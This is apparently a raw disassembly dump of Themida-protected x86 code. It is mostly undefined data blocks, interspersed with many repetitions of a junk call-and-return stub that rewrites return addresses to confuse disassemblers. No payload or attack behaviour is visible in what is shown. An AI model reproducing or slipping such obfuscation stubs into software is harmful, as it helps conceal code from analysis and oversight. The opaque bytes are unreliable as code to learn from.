dd 76E9h, 0AE900h, 0C6F60000h, 2BBB374Ch, 7CBB0A47h, 1860Fh
dd 61FC0000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 0AAC35242h, 0B05E9A11h, 60F8E4D4h, 68D0Fh, 890F0000h
dd 0
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5B6EC5
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6EC5 proc near ; CODE XREF: Themida_:005B6EBDp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5B6EC5 endp
; ---------------------------------------------------------------------------
db 87h, 0E9h, 0Ch
dd 6000000h, 1B0F4575h, 63FA0301h, 8BD03E0Eh, 53006AC0h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 2891C685h, 0CE9F560h, 0B8000000h, 37556C58h, 8581234Ah
dd 61C691BCh, 8F5BD83h, 75000615h, 0ADBD8309h, 61503h
dd 53501974h, 0B9B8C08Bh, 89000004h, 1502A185h, 59D8D06h
dd 0FF0617ABh, 83585BD3h, 1503ADBDh, 17740006h, 0B9B85350h
dd 89000004h, 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 0D640C352h, 2F53D318h, 6A2FFD8Dh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 0A560C352h, 0CE922h, 827B0000h, 0CE7F25A9h, 0FC178BE8h
dd 0C08BBF12h, 158A0Fh, 10E90000h, 8D000000h, 51D9A591h
dd 1BCA01B0h, 0B498EF72h, 0FAC0999h, 689h, 0BA666000h
dd 40613729h, 5160C18Bh, 60585950h, 22918D89h, 0FE80615h
dd 31000000h, 0B36461EFh, 56630233h, 3CCA78FAh, 6158E29Dh
dd 919D8961h, 0EB061530h, 4, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 92707DFEh
dd 92347CFAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 0A7C35242h, 660DFDCBh, 668E85BEh, 858DFA8Bh, 615279Dh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 17C35545h
dd 621C75h, 0CB344314h, 50F28B66h, 0FE96052h, 0F6000000h
dd 0F96E6BADh, 0EBBC7758h, 292BF56Dh, 9E99CA3h, 52000000h
dd 0B7E0957Fh, 3D9EF83Ch, 4895F61h, 51006A24h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0E860D041h
dd 9, 934D45C3h, 0B0A0D01Eh, 895EF526h, 1502718Dh, 0BD8B6106h
dd 6150225h, 6AF8006Ah, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0FE0A7005h, 0B998DA62h
dd 59952939h, 8B061527h, 152DDDBDh, 2F858D06h, 290618D8h
dd 150255B5h, 5C08306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 0A3C35545h, 0A5382C95h, 151110Ah, 150AA995h
dd 0E9505E06h, 6, 0D2B097Eh, 4896F10h, 65B58B24h, 6A061517h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 9E4A08ADh, 6AF0BF0Fh, 52006A00h
; ---------------------------------------------------------------------------
loc_5B719C: ; DATA XREF: Themida_:0057C558o
; Themida_:0057CA2Co
call sub_5B71A4
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B71A4 proc near ; CODE XREF: Themida_:loc_5B719Cp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5B71A4 endp
; ---------------------------------------------------------------------------
wait
jmp loc_5B71BF
; ---------------------------------------------------------------------------
dw 35ADh
db 31h, 0, 0Dh
; ---------------------------------------------------------------------------
loc_5B71BF: ; CODE XREF: Themida_:005B71B5j
mov [ebp+6152FA1h], ebx
call dword ptr [ebp+6152679h]
add di, 0E10Ch
lea ebx, [ebp+6189C15h]
jmp loc_5B71E1
; ---------------------------------------------------------------------------
db 9Fh
dd 434371DEh
db 15h
; ---------------------------------------------------------------------------
loc_5B71E1: ; CODE XREF: Themida_:005B71D6j
call ebx
push 0
push ebp
call sub_5B71EE
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B71EE proc near ; CODE XREF: Themida_:005B71E6p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5B71EE endp
; ---------------------------------------------------------------------------
dw 889Fh
dd 0FE256E1Fh, 0F3C6F7EBh, 13E9h, 5999A400h, 0BEE58CA3h
dd 17698F4Ch, 1F16B7BAh, 22A18A2Ch, 211BD8Bh, 85FF0615h
dd 6151535h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 47C35545h, 0E9803EBEh, 0Eh, 0B471A916h, 0F0AAF980h
dd 0DCBD436Bh, 0AAE961FCh, 0E8000007h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 618D839h
push 0
push edi
call sub_5B727A
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B727A proc near ; CODE XREF: Themida_:005B7272p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5B727A endp
; ---------------------------------------------------------------------------
dw 0DC0Ch
dd 0FCB08FBDh, 8ADBD81h, 7D00615h, 860F0000h, 13Ah, 3F1BD03h
dd 9D8B0615h, 6152871h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 6FC35242h, 0E381A2h, 6A000001h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 201DC352h, 0AE793F75h, 0DB0BF2B6h, 96850Fh, 8D890000h
dd 6152F81h, 0D5E2BD83h, 0F000618h, 1F84h, 0F6BF0F00h
dd 0AEE9h, 0CE96000h, 1000000h, 70463397h, 0A7BE8EC5h
dd 66CD1DC0h, 616102BEh, 0D5E285C7h, 10618h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 7E837C3h, 1C000000h, 61541D51h, 5FF53F63h, 5EE9h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 5D28EAF0h, 5E927DEh, 0C2000000h, 0D831FDE7h, 0D5E285C7h
dd 618h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 0A0CEA7C3h, 9589FD0Eh, 6150CC5h
dd 8DF18B66h, 1528719Dh, 0D1DABE06h, 23817F5Eh, 0FFFFFEFFh
dd 33C5BD8Bh, 8C660615h, 51006ADBh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 5D5C7659h, 0F4FE446Ah
dd 0E1B58B8Eh, 0F6061501h, 840F04C3h, 58h, 95FFF18Bh, 61518A1h
dd 6919D29h, 0E8900615h, 10h, 419464A4h, 0CB95C06Fh, 0ECF67B0Bh
dd 38971045h, 3AD5BE66h, 6050505Eh, 595729B1h, 6A905E61h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 42F2C355h, 8D898C53h, 6152D91h, 496E9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 36197D71h, 8B22C6F4h, 151051BDh, 0DF816606h, 0B01B64h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5CC35040h
dd 9E99483h, 52000000h, 0B8B7C3Fh, 67489FBBh, 13E9h, 78061000h
dd 0A41EBF46h, 0D268BC9h, 0B13ED15Dh, 184FA404h, 6A70E6h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 64B6C8C3h, 335E2F8Eh, 0DDB5895Fh, 0E4061526h, 57006A71h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 75BD0992h, 8B061524h, 152E4DB5h, 0D8B60F06h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0BC35040h, 2AF58D01h
dd 6BA0615h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 0CDD3C352h, 0A1858972h
dd 0F06150Ah, 685h, 6DB58B00h, 8B061529h, 53006AC3h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 0B6D78198h, 0C1210240h, 11E904E8h, 0AA000000h, 0F83E6605h
dd 0C20D1D80h, 0B07645E2h, 581A33Ch, 66E2F766h, 0B87FF681h
dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 840794C3h, 6650F5DCh, 1C89FA8Bh, 52006A24h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 0ADB5FFEBh, 6A061508h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 0FF8AC351h, 152E2195h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 15117FEEh, 691BD8Bh, 0BD8B0615h, 6150C5Dh
dd 70E600B0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 0FAC35646h, 9E9699Ah, 5D000000h, 0C03512C2h, 0E672F01Bh
dd 1545B58Bh, 71E40615h, 9850Fh, 800F0000h, 3, 3CF38B66h
dd 48830F61h, 6A000002h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 4363C355h, 0BD71D075h
dd 0DE9h, 0A8E50E00h, 51C459F0h, 0D71F07F5h, 0B60FE656h
dd 0F6BF0FD8h, 0CBEE8166h, 6BA41h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 514899C3h
dd 0C4436431h, 66C38B23h, 0E8C1F88Bh, 0D0BFBE04h, 0F7664BACh
dd 15BD89E2h, 2B061505h, 50006AD8h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 9E51DF6Bh, 0BF7F7AD4h
dd 63D70268h, 899BD8Bh, 8B580615h, 1514D9BDh, 35858906h
dd 2B061524h, 88880FD8h, 6A000001h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 7294C355h
dd 0C2063A82h, 79DE17EDh, 0D3D7E681h, 7B9273Dh, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 9048C350h, 72581C3h, 68B0F4Fh, 8B000000h
dd 150BA1BDh, 0C18306h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 9AC35343h, 0C66F1704h, 2B5348BBh, 15078DB5h
dd 0FD93B06h, 0F686h, 0BD0B5000h, 6152119h, 0D1BD8B5Fh
dd 66061507h, 0C1F6D98Ch, 0B1840F04h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 0D51BC355h, 0B824F01Dh, 18A195FFh, 6A0615h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0C00A6AC3h, 0E9BFC366h, 6, 0EA6BC9C4h, 6A5B0491h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 0A953C356h, 0DB5CF494h, 72AF3B2Ah, 0BD8BC32Bh, 61517F9h
dd 8343Dh, 25860F00h, 0F000000h, 585h, 7A40BF00h, 40E93479h
dd 66000000h, 0E1FBDE81h, 0BE9h, 8A2C1F00h, 6EAC22A1h
dd 905287B4h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 8B9852C3h, 150A79BDh, 6D9D8906h
dd 8B06151Eh, 6AD88BC3h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 5EE3C352h, 2E53E41Fh
dd 9EBF6639h, 9D85C738h, 77061507h, 6A750BC3h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 9BF7C357h, 0FD0041DFh, 8BD84F64h, 1533FDBDh, 0E9C08B06h
dd 6, 93297BF4h, 0BD81A47Ah, 61508ADh, 7D0h, 32850Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 8AC945C3h, 0A7CC8CBCh, 0A5B5898Eh, 0FF061526h, 1508AD85h
dd 0F9B70F06h, 8ADB5FFh, 0B58B0615h, 6150391h, 2E2195FFh
dd 0BF0F0615h, 78B890F2h, 6A123456h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0F618C356h
dd 0DF979D8Dh, 70E90618h, 0E8FFFFF8h, 8, 87B0A7EEh, 0C3A61B5Eh
dd 2C918589h, 0B58B0615h, 6151DC9h, 0FC18B5Eh, 686h, 5DBD8900h
dd 0EB061513h, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 1FEFCFB3h, 8999D50Fh
dd 1521E195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 0BCBFB4C6h, 6E3DFF93h, 8DF78B9Bh
dd 15279D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1904h
dd 0C3504000h, 36DDB934h, 8E9E190h, 0AE000000h, 0F3B14738h
dd 0E9099767h, 0Bh, 0AAF08318h, 7EEED8B1h, 90EAE3A8h, 905F5750h
dd 1D6DBD8Bh, 6A0615h, 160DBD31h, 6A0615h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F6C35141h, 0B589C029h
dd 61511E5h, 0E1B7858Dh, 0F98B0618h, 0F4E7D681h, 0C0832156h
dd 0F88B6605h, 0EE8h, 5FE74400h, 0AFA6AFEFh, 0CE558D77h
dd 5FB8A7E6h, 850F5390h, 0
; ---------------------------------------------------------------------------
pop edi
push eax
mov edi, 57694559h
nop
push 0
push ebp
call sub_5B7B2F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B7B2F proc near ; CODE XREF: Themida_:005B7B27p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5B7B2F endp
; ---------------------------------------------------------------------------
ja short loc_5B7BB9
mov eax, ds:6AFB8B66h
add [edi], cl
mov bh, 0FBh
mov [ebp+6152F15h], esi
push 0
push 0
push ecx
call sub_5B7B5D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B7B5D proc near ; CODE XREF: Themida_:005B7B55p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5B7B5D endp
; ---------------------------------------------------------------------------
and ecx, edx
jmp loc_5B7B7A
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0D7h, 72h, 53h
; ---------------------------------------------------------------------------
cmp al, 74h
loc_5B7B7A: ; CODE XREF: Themida_:005B7B6Fj
call dword ptr [ebp+6152679h]
push 0
push esi
call sub_5B7B8B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B7B8B proc near ; CODE XREF: Themida_:005B7B83p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5B7B8B endp
; ---------------------------------------------------------------------------
db 3Dh
dd 554D1FFDh, 2C898501h, 9D8D0615h, 6189C15h, 2264D781h
dd 0B5896C5Ch, 6151335h
db 0FFh
; ---------------------------------------------------------------------------
loc_5B7BB9: ; CODE XREF: Themida_:005B7B3Fj
ror dword ptr [ebx+152665BDh], cl
push es
inc dword ptr [ebp+6151535h]
push 0
push ebx
call sub_5B7BD1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B7BD1 proc near ; CODE XREF: Themida_:005B7BC9p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5B7BD1 endp
; ---------------------------------------------------------------------------
db 11h, 0C4h, 49h
; ---------------------------------------------------------------------------
mov esi, edi
jmp loc_5B89BD
; ---------------------------------------------------------------------------
loc_5B7BEB: ; CODE XREF: Themida_:005B8990j
call $+5
pop ebp
sub ebp, 618E1C1h
push 0
push edx
call sub_5B7C02
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B7C02 proc near ; CODE XREF: Themida_:005B7BFAp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5B7C02 endp
; ---------------------------------------------------------------------------
dec ebp
cmp [edi+edx*4], bl
db 64h
cdq
cdq
sub [ebp+6151775h], ebx
cmp dword ptr [ebp+61508ADh], 7D0h
jbe loc_5B7D9A
push 0
push esi
call sub_5B7C3A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B7C3A proc near ; CODE XREF: Themida_:005B7C32p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5B7C3A endp
; ---------------------------------------------------------------------------
dw 0DC14h
dd 81663425h, 8BF5E4DEh, 1504E19Dh, 0B1A1BF06h, 8B5265A3h
dd 151D1DB5h, 0E3815E06h, 100h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 0BDC35646h, 43D987C1h, 0AE9DDABh
dd 90000000h, 0C7BB1366h, 0B0E3CEC8h, 0FDB0BA3h, 0AE85h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 4EEA6669h, 8BF6103Eh, 0EEBD83F3h, 618DFh
dd 30840Fh, 0CE810000h, 57E32747h, 82E9h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 594C1094h, 9AD9589h, 85C70615h, 618DFEEh, 1, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 1BC35242h, 0F7182AE6h
dd 2759BD8Bh, 0E9520615h, 0Bh, 0EB22C6F4h, 22EB0BDBh, 5FCF511Eh
dd 2F81B58Bh, 10E90615h, 0C7000000h, 18DFEE85h, 6, 0C9B58900h
dd 8D061509h, 1504E19Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 0C2D31900h, 6C6E34F8h
dd 23819913h, 0FFFFFEFFh, 20F8EF81h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
push ebx
loc_5B7D9A: ; CODE XREF: Themida_:005B7C29j
mov bx, ds
mov edi, 5565248Ah
test bl, 4
jz loc_5B7DD8
push 0
push eax
call sub_5B7DB6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B7DB6 proc near ; CODE XREF: Themida_:005B7DAEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5B7DB6 endp
; ---------------------------------------------------------------------------
dw 0FFE2h
; ---------------------------------------------------------------------------
xchg eax, ebp
mov eax, ds:66061518h
mov esi, edx
nop
mov si, 4A23h
push eax
nop
cld
loc_5B7DD8: ; CODE XREF: Themida_:005B7DA5j
jmp loc_5B81B7
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5B7DE8
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B7DE8 proc near ; CODE XREF: Themida_:005B7DE0p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5B7DE8 endp
; ---------------------------------------------------------------------------
dd 362714Fh, 8C18098Dh, 31F84A48h, 153371BDh, 8900B006h
dd 151D25B5h, 0F870E606h, 6A71E4h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 6483ECC3h, 8960D845h
dd 1502BDBDh, 0F9BD8B06h, 61061511h, 6AD8B60Fh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 9DBCC351h, 6BAh, 5E85000h, 0A000000h, 37651E4Eh, 0A41BE66h
dd 0B58B5F5Eh, 6151661h, 0BD8BC38Bh, 61520F5h, 6A04E8C1h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 21BCC350h, 7B5528D2h, 5E8h, 0C321AF00h, 0BD8B95E0h
dd 6152395h, 0E2F7665Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 19C35343h, 0B919589h, 0BD890615h, 6150C75h
dd 8B66D82Bh, 0BF6693F1h, 0F50D5EDh, 2584h, 0FE800h, 72FE0000h
dd 6C26F834h, 94039B8Bh, 0FB5A44D6h, 0AE835h, 54D20000h
dd 66DEBA0Ch, 757BA001h, 6A935F5Fh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0D6F2C356h
dd 372F1D9Ah, 0B92A2124h, 8ADB5FFh, 6A0615h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 180424h, 56460000h, 7EE2A5C3h
dd 0FC604434h, 17718D33h, 0FF610615h, 152E2195h, 0FBBF0F06h
dd 70E600B0h, 8D2971E4h, 615005Dh, 830F613Ch, 227h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 7CC35040h, 0B60F2DF0h
dd 6BAD8h, 8E80000h, 45000000h, 0CE87A01Dh, 0E882FAC0h
dd 12h, 6DD12A89h, 45480D73h, 241E3F24h, 0C364B19Eh, 5E517735h
dd 0C38B5E5Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 6EC35747h, 8FE03DF1h, 54FDB0BDh, 0DF816681h, 0B5032F20h
dd 61508C5h, 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 0BE67C353h, 153473F4h
dd 0BE2F766h, 150589B5h, 58D82B06h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 90C35646h, 0BF0F7E87h, 0FD82BF7h
dd 14E88h, 7B900h, 8B660000h, 0C183F2h, 3A7694BFh, 0FD93B1Eh
dd 13686h, 0FABE6600h, 0D98C66D7h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 5EC35040h, 0EF4A5B7Bh, 8BED99A0h
dd 152709B5h, 4C1F606h, 0F5840Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 0CC2AD2C3h
dd 56ABFEE5h, 0A195FF5Eh, 6A061518h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8166C355h
dd 19D95DEEh, 6A5B77h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 0FC431CC3h, 0B50B199Eh, 6150341h
dd 9E8h, 0D5DDBE00h, 0D8A3C5EFh, 0AE96620h, 0A8000000h
dd 0F3F08240h, 571DD274h, 0C32B5E36h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 7C35040h, 8A8BBDC0h, 18BB6660h
dd 558D3126h, 61061525h, 8343Dh, 2C860F00h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 5637C355h, 5EFEB70Fh, 0EE9h, 23C78100h, 8B04269Bh
dd 0DD9589C0h
db 19h, 15h, 6
; ---------------------------------------------------------------------------
loc_5B81B7: ; CODE XREF: Themida_:loc_5B7DD8j
mov eax, ebx
mov ebx, eax
push ecx
mov si, 7459h
pop esi
mov dword ptr [ebp+6152871h], 77F7F117h
push 0
push edx
call sub_5B81D6
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B81D6 proc near ; CODE XREF: Themida_:005B81CEp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5B81D6 endp
; ---------------------------------------------------------------------------
dw 0C36Fh
; ---------------------------------------------------------------------------
setalc
mov edi, [ebp+61517F1h]
mov [ebp+61520A5h], ecx
mov eax, eax
push 0
push edi
call sub_5B8202
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8202 proc near ; CODE XREF: Themida_:005B81FAp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5B8202 endp
; ---------------------------------------------------------------------------
dw 3C89h
; ---------------------------------------------------------------------------
or edi, 43009680h
cmp dword ptr [ebp+61508ADh], 7D0h
jnz loc_5B8247
mov edi, [ebp+6150165h]
inc dword ptr [ebp+61508ADh]
jmp loc_5B8247
; ---------------------------------------------------------------------------
inc edi
mov bl, 5Fh
jmp short loc_5B8287
; ---------------------------------------------------------------------------
db 78h, 6, 10h
db 6Eh, 50h, 0A1h
; ---------------------------------------------------------------------------
loc_5B8247: ; CODE XREF: Themida_:005B8224j
; Themida_:005B8236j
push dword ptr [ebp+61508ADh]
mov si, dx
call dword ptr [ebp+6152E21h]
push 0
push esi
call sub_5B8261
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B8261 proc near ; CODE XREF: Themida_:005B8259p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5B8261 endp
; ---------------------------------------------------------------------------
db 21h, 0F5h, 57h
dd 6D97EB5Eh, 6A4090E9h, 3E85300h, 20000000h
; ---------------------------------------------------------------------------
pop ebx
retn
; ---------------------------------------------------------------------------
pop ebx
loc_5B8287: ; CODE XREF: Themida_:005B823Fj
mov [esp+4], ebx
add dword ptr [esp+4], 1Ch
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
dw 3425h
dd 0A50AF185h, 0E87EFA84h, 11h, 0D2B84127h, 301120D9h
dd 23B1979Fh, 15B4C4F6h, 0F9BF0F86h, 29BD835Fh, 6150Ah
dd 0B2840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 5C4F28C3h, 591D7424h, 1E01BD83h
dd 0F000615h, 8384h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 895177D4h, 1506C185h
dd 85295F06h, 61503C5h, 0A2995FFh, 0BF660615h, 0C00B2B3Bh
dd 46840Fh, 0FA8B0000h, 4F9E8D8Dh, 7E90615h, 58000000h
dd 0D36532A6h, 5B8516Eh, 3000000h, 150D99B5h, 6AE1FF06h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 7C1DC355h, 0BD89C5E1h, 6151D41h, 17F5BD83h
dd 0F000615h, 60984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 8229B83Eh, 1BD837Fh, 6151Eh
dd 5DC840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 5C5A07C3h, 2856741h, 0F38B1975h
dd 7118D8Dh, 0BD290615h, 6152FC1h, 1C75F57h, 44B27C84h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5C35646h
dd 1985BD8Bh, 9D010615h, 6150AE9h, 0CFCB0181h, 89501499h
dd 1502A9BDh, 0B58B5F06h, 615067Dh, 340441C7h, 0E8CE706Bh
dd 7, 196C3AFh, 0E88D3670h, 5, 0D0F57096h, 21BD8BF1h, 5F061503h
dd 441815Fh, 31D6D710h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 0E5C35747h, 810F9E8Eh, 1, 8B6656F9h
dd 0BD895FF1h, 6150C51h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 0FD5F45C3h, 0B6660DF9h
dd 5336C0BAh, 214DB501h, 8B5F0615h, 11858DFEh, 0F061507h
dd 688h, 0B5B58900h, 9006152Ah, 50F78B66h, 786ABF60h, 38BB4E3Bh
dd 61261FF2h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 17049A77h, 48BBC66Fh, 0F18B6653h
dd 17F595FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 757E85C3h, 0B18589ADh, 8D06152Ch
dd 1507118Dh, 31BE6606h, 1C772h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F9C355h
dd 4E7DC405h, 0FAB70F8Fh, 441C7h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 1C3FC355h, 0EE92Ch, 0C4220000h, 0D211D220h, 1AFE7278h
